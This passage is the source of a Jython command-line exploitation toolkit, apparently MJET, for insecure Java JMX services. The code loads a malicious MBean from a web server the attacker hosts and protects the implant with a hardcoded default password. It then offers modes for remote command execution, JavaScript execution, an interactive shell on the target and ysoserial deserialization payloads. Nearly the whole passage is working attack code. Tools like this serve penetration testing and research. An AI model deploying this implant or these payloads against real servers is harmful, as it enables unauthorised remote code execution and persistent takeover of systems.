105 | # Install payload Mlet via getMbeansFromURL
106 | # pass the URL of the web server
107 | print "[+] Loading malicious MBean from " + args.payload_url
108 | print "[+] Invoking: "+ mlet_bean.getClassName() + ".getMBeansFromURL"
109 |
110 |
111 | inv_array1 = jarray.zeros(1, Object)
112 | inv_array1[0] = args.payload_url
113 |
114 | inv_array2 = jarray.zeros(1, String)
115 | inv_array2[0] = String.canonicalName
116 |
117 | resource = bean_server.invoke(mlet_bean.getObjectName(), "getMBeansFromURL", inv_array1, inv_array2)
118 |
119 | # Check if the Mlet was loaded successfully
120 |
121 | for res in resource:
122 | if res.__class__.__name__ == "InstanceAlreadyExistsException":
123 | print "[+] Object instance already existed, no need to install it a second time"
124 | elif res.__class__.__name__ == "ObjectInstance":
125 | print "[+] Successfully loaded MBean" + str(res.getObjectName())
126 |
127 | # Change the password from "I+n33d+a+glass+0f+watta" to the new value
128 | print "[+] Changing default password..."
129 | changePassword("I+n33d+a+glass+0f+watta", args.password, bean_server)
130 | else:
131 | print res
132 |
133 |
134 |
135 | def startWebserver(args):
136 | # Start a web server on all ports in a seperate thread
137 | # Only needed during installation
138 | print "[+] Starting webserver at port " + str(args.payload_port)
139 | mletHandler = MakeHandlerClass(args.payload_url)
140 | mlet_webserver = HTTPServer(('', int(args.payload_port)), mletHandler)
141 | webserver_thread = Thread(target = mlet_webserver.serve_forever)
142 | webserver_thread.daemon = True
143 | try:
144 | webserver_thread.start()
145 | except KeyboardInterrupt:
146 | mlet_webserver.shutdown()
147 | sys.exit(0)
148 |
149 | def MakeHandlerClass(base_url):
150 | #This class will handles any incoming request from
151 | #the JMX service
152 | # Needed during installation of the JAR
153 | class CustomHandler(BaseHTTPRequestHandler):
154 |
155 |
156 | def __init__(self, *args, **kwargs):
157 | self._base_url = base_url
158 | self.jar_name = ''.join(random.choice(string.ascii_lowercase) for _ in range(8)) + '.jar'
159 | BaseHTTPRequestHandler.__init__(self, *args, **kwargs)
160 |
161 | #Handler for the GET requests
162 | def do_GET(self):
163 | if self.path=="/":
164 | mlet_code = ''
165 |
166 | self.send_response(200)
167 | self.send_header('Pragma', 'no-cache')
168 | self.end_headers()
169 | self.wfile.write(mlet_code)
170 |
171 | elif self.path.endswith('.jar'):
172 | f = open("./payloads/MogwaiLabsMJET-MLet.jar")
173 | self.send_response(200)
174 | self.send_header('Content-type', 'application/jar')
175 | self.end_headers()
176 | self.wfile.write(f.read())
177 | f.close()
178 |
179 | else:
180 | self.send_error(404, 'File not found: ' + self.path)
181 | #
182 | # except IOError:
183 | # self.send_error(404,'File Not Found: %s' % self.path)
184 |
185 | return CustomHandler
186 |
187 | ### /INSTALL MODE ###
188 |
189 |
190 | ### UNINSTALL MODE ###
191 | def uninstallMode(args):
192 | bean_server = connectToJMX(args)
193 | uninstallMBeans(bean_server)
194 | print "[+] Done"
195 |
196 | def uninstallMBeans(bean_server):
197 | try:
198 | bean_server.unregisterMBean(ObjectName("MogwaiLabs:name=payload,id=1"))
199 | except:
200 | print "[-] Error: The MBean is not registered in the target server"
201 | sys.exit(0)
202 | print "[+] MBean correctly uninstalled"
203 |
204 | ### /UNINSTALL MODE ###
205 |
206 |
207 | ### CHANGE PASSWORD MODE ###
208 |
209 | def changePasswordMode(args):
210 | bean_server = connectToJMX(args)
211 | changePassword(args.password, args.newpass, bean_server)
212 | print "[+] Done"
213 |
214 | def changePassword(password, newpass, bean_server):
215 | # Payload execution
216 | # Load the Payload Met and invoke a method on it
217 | mlet_bean = bean_server.getObjectInstance(ObjectName("MogwaiLabs:name=payload,id=1"))
218 | print "[+] Loaded " + str(mlet_bean.getClassName())
219 |
220 | inv_array1 = jarray.zeros(2, Object)
221 | inv_array1[0] = password
222 | inv_array1[1] = newpass
223 |
224 | inv_array2 = jarray.zeros(2, String)
225 | inv_array2[0] = String.canonicalName
226 | inv_array2[1] = String.canonicalName
227 |
228 | resource = bean_server.invoke(mlet_bean.getObjectName(), "changePassword", inv_array1, inv_array2)
229 |
230 | if str(resource) == "True":
231 | print "[+] Successfully changed password"
232 | else:
233 | print "[-] Unable to change password"
234 |
235 | sys.stdout.flush()
236 |
237 | ### /CHANGE PASSWORD MODE ###
238 |
239 |
240 | ### COMMAND MODE ###
241 |
242 | def commandMode(args):
243 | bean_server = connectToJMX(args)
244 | executeCommand(args.password, args.cmd, bean_server)
245 | print "[+] Done"
246 |
247 | def executeCommand(password, cmd, bean_server):
248 | # Payload execution
249 | # Load the Payload MLet and invoke a method on it
250 | mlet_bean = bean_server.getObjectInstance(ObjectName("MogwaiLabs:name=payload,id=1"))
251 | print "[+] Loaded " + str(mlet_bean.getClassName())
252 |
253 | print "[+] Executing command: " + cmd
254 | inv_array1 = jarray.zeros(2, Object)
255 | inv_array1[0] = password
256 | inv_array1[1] = cmd
257 |
258 |
259 | inv_array2 = jarray.zeros(2, String)
260 | inv_array2[0] = String.canonicalName
261 | inv_array2[1] = String.canonicalName
262 |
263 | resource = bean_server.invoke(mlet_bean.getObjectName(), "runCMD", inv_array1, inv_array2)
264 |
265 | print resource
266 |
267 | sys.stdout.write("\n")
268 | sys.stdout.flush()
269 |
270 | ### /COMMAND MODE ###
271 |
272 | ### JAVASCRIPT MODE ###
273 |
274 | def scriptMode(args):
275 | bean_server = connectToJMX(args)
276 |
277 | with open(args.filename, 'r') as myfile:
278 | script=myfile.read()
279 |
280 | executeJS(args.password, script, bean_server)
281 | print "[+] Done"
282 |
283 | def executeJS(password, js, bean_server):
284 | # Payload execution
285 | # Load the Payload MLet and invoke a method on it
286 | mlet_bean = bean_server.getObjectInstance(ObjectName("MogwaiLabs:name=payload,id=1"))
287 | print "[+] Loaded " + str(mlet_bean.getClassName())
288 |
289 | print "[+] Executing script"
290 | inv_array1 = jarray.zeros(2, Object)
291 | inv_array1[0] = password
292 | inv_array1[1] = js
293 |
294 | inv_array2 = jarray.zeros(2, String)
295 | inv_array2[0] = String.canonicalName
296 | inv_array2[1] = String.canonicalName
297 |
298 | resource = bean_server.invoke(mlet_bean.getObjectName(), "runJS", inv_array1, inv_array2)
299 |
300 | if resource is not None:
301 | print resource
302 |
303 | sys.stdout.write("\n")
304 | sys.stdout.flush()
305 |
306 | ### /JAVASCRIPT MODE ###
307 |
308 |
309 | ### SHELL MODE ###
310 |
311 | def shellMode(args):
312 | bean_server = connectToJMX(args)
313 | startShell(args.password, bean_server)
314 | print "[+] Done"
315 |
316 | def startShell(password, bean_server):
317 | print "[+] Use command 'exit_shell' to exit the shell"
318 | in_command_loop = True
319 | while in_command_loop:
320 | cmd = raw_input(">>> ")
321 | if cmd == 'exit_shell':
322 | in_command_loop = False
323 | else:
324 | executeCommand(password, cmd, bean_server)
325 |
326 | ### /SHELL MODE ###
327 |
328 | ### DESERIALIZATION MODE ###
329 |
330 | def deserializationMode(args):
331 |
332 | if not os.path.isfile('./ysoserial.jar'):
333 | print "[-] Error: Did not find ysoserial.jar in this folder. Please download it from https://github.com/frohoff/ysoserial"
334 | sys.exit(1)
335 |
336 | sys.path.append("./ysoserial.jar")
337 | print "[+] Added ysoserial API capacities"
338 |
339 | from ysoserial.payloads.ObjectPayload import Utils
340 |
341 | # Connect to the JMX server
342 | bean_server = connectToJMX(args)
343 |
344 |
345 | # Generate deserialization object with ysoserial.jar
346 | payload_object = Utils.makePayloadObject(args.gadget, args.cmd)
347 |
348 | # Command execution
349 | # Load default MLet java.util.logging and invoke method getLoggerLevel on it
350 | mlet_bean = bean_server.getObjectInstance(ObjectName("java.util.logging:type=Logging"))
351 | print "[+] Loaded " + str(mlet_bean.getClassName())
352 |
353 | print "[+] Passing ysoserial object as parameter to getLoggerLevel(String loglevel)"
354 | inv_array1 = jarray.zeros(1, Object)
355 | inv_array1[0] = payload_object
356 |
357 | inv_array2 = jarray.zeros(1, String)
358 | inv_array2[0] = String.canonicalName
359 |
360 | try:
361 | resource = bean_server.invoke(mlet_bean.getObjectName(), "getLoggerLevel", inv_array1, inv_array2)
362 |
363 | except:
364 | if "argument type mismatch" in str(sys.exc_info()[1]):
365 | print "[+] Got an argument type mismatch exception - this is expected"
366 |
367 | elif "Access denied! Invalid access level" in str(sys.exc_info()[1]):
368 | print "[+] Got an access denied exception - this is expected"
369 | else:
370 | print "[-] Got a " + str(sys.exc_info()[1]) + "exception, exploitation failed"
371 |
372 | sys.stdout.write("\n")
373 | sys.stdout.flush()
374 |
375 | print "[+] Done"
376 |
377 | ### /DESERIALIZATION MODE ###
378 |
379 | ### PARSER ###
380 | # Map for clarity's sake
381 | def arg_install_mode(args):
382 | installMode(args)
383 | def arg_command_mode(args):
384 | commandMode(args)
385 | def arg_script_mode(args):
386 | scriptMode(args)
387 | def arg_shell_mode(args):
388 | shellMode(args)
389 | def arg_password_mode(args):
390 | changePasswordMode(args)
391 | def arg_uninstall_mode(args):
392 | uninstallMode(args)
393 | def arg_webserver_mode(args):
394 | webserverMode(args)
395 | def arg_deserialization_mode(args):
396 | deserializationMode(args)
397 |
398 | # print header
399 | print ""
400 | print authorSignature
401 |
402 | # Base parser
403 | parser = argparse.ArgumentParser(description = 'MJET allows an easy exploitation of insecure JMX services', epilog='--- MJET - MOGWAI LABS JMX Exploitation Toolkit ------------------', add_help=True)
404 | parser.add_argument('targetHost', help='target IP address')
405 | parser.add_argument('targetPort', help='target JMX service port')
406 | parser.add_argument('--jmxrole', help='remote JMX role')
407 | parser.add_argument('--jmxpassword', help='remote JMX password')
408 | subparsers = parser.add_subparsers(title='modes', description='valid modes', help='use ... MODE -h for help about specific modes')
409 |
410 | # Install mode
411 | install_subparser = subparsers.add_parser('install', help='install the payload MBean on the target')
412 | install_subparser.add_argument('password', help="the password that should be set after successful installation")
413 | install_subparser.add_argument('payload_url', help='URL to load the payload (full URL)')
414 | install_subparser.add_argument('payload_port', help='port to load the payload')
415 | install_subparser.set_defaults(func=arg_install_mode)
416 |
417 | # Uninstall mode
418 | uninstall_subparser = subparsers.add_parser('uninstall', help='uninstall the payload MBean from the target')
419 | uninstall_subparser.set_defaults(func=arg_uninstall_mode)
420 |
421 | # Password mode
422 | password_subparser = subparsers.add_parser('changepw', help='change the payload password on the target')
423 | password_subparser.add_argument('password', help="the password to access the installed MBean")
424 | password_subparser.add_argument('newpass', help='The new password')
425 | password_subparser.set_defaults(func=arg_password_mode)
426 |
427 | # Command mode
428 | command_subparser = subparsers.add_parser('command', help='execute a command in the target')
429 | command_subparser.add_argument('password', help="the password to access the installed MBean")
430 | command_subparser.add_argument('cmd', help='command to be executed')
431 | command_subparser.set_defaults(func=arg_command_mode)
432 |
433 | # Javascript mode
434 | script_subparser = subparsers.add_parser('javascript', help='execute JavaScript code from a file in the target')
435 | script_subparser.add_argument('password', help="the password to access the installed MBean")
436 | script_subparser.add_argument('filename', help='file with the JavaScript code to be executed')
437 | script_subparser.set_defaults(func=arg_script_mode)
438 |
439 | # Shell mode
440 | shell_subparser = subparsers.add_parser('shell', help='open a simple command shell in the target')
441 | shell_subparser.add_argument('password', help="the required password to access the installed MBean")
442 | shell_subparser.set_defaults(func=arg_shell_mode)
443 |
444 | # Webserver mode
445 | webserver_subparser = subparsers.add_parser('webserver', help='just run the MLET web server')
446 | webserver_subparser.add_argument('payload_url', help='URL to load the payload (full URL)')
447 | webserver_subparser.add_argument('payload_port', help='port to load the system')
448 | webserver_subparser.set_defaults(func=arg_webserver_mode)
449 |
450 |
451 | # Deserialization mode
452 | deserialize_subparser = subparsers.add_parser('deserialize', help='send a ysoserial payload to the target')
453 | deserialize_subparser.add_argument('gadget', help='gadget as provided by ysoserial, e.g., CommonsCollections6')
454 | deserialize_subparser.add_argument('cmd', help='command to be executed')
455 | deserialize_subparser.set_defaults(func=arg_deserialization_mode)
456 |
457 | # Store the user args
458 | args = parser.parse_args()
459 | args.func(args)
460 |
--------------------------------------------------------------------------------